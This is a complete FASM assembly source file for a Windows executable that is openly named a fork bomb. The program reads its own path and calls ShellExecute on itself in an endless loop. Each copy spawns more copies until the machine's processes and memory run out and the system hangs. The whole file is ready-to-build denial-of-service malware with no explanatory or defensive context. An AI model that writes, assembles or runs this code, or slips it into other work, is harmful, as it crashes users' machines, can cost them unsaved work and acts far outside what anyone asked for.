fork-bomb.fasm

format PE GUI 4.0
entry start
section '.text' code readable executable
  start:
        pushd 1000
        pushd path
        pushd 0
        call [GetModuleFileName]
   @@:
        pushd 1
        pushd 0
        pushd 0
        pushd path
        pushd command
        pushd 0
        call [ShellExecute]
        jmp @b
section '.data' data readable writeable
  path rb 1000
  command db "open"
section '.idata' import data readable writeable
  dd 0,0,0,RVA kernel32id,RVA kernel32
  dd 0,0,0,RVA shell32id,RVA shell32
  kernel32:
    GetModuleFileName dd RVA _GetModuleFileName
    dd 0
  shell32:
    ShellExecute dd RVA _ShellExecute
    dd 0
  kernel32id db 'kernel32.dll',0
  shell32id db 'shell32.dll',0
  _GetModuleFileName dw 0
    db 'GetModuleFileNameA',0
  _ShellExecute dw 0
    db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable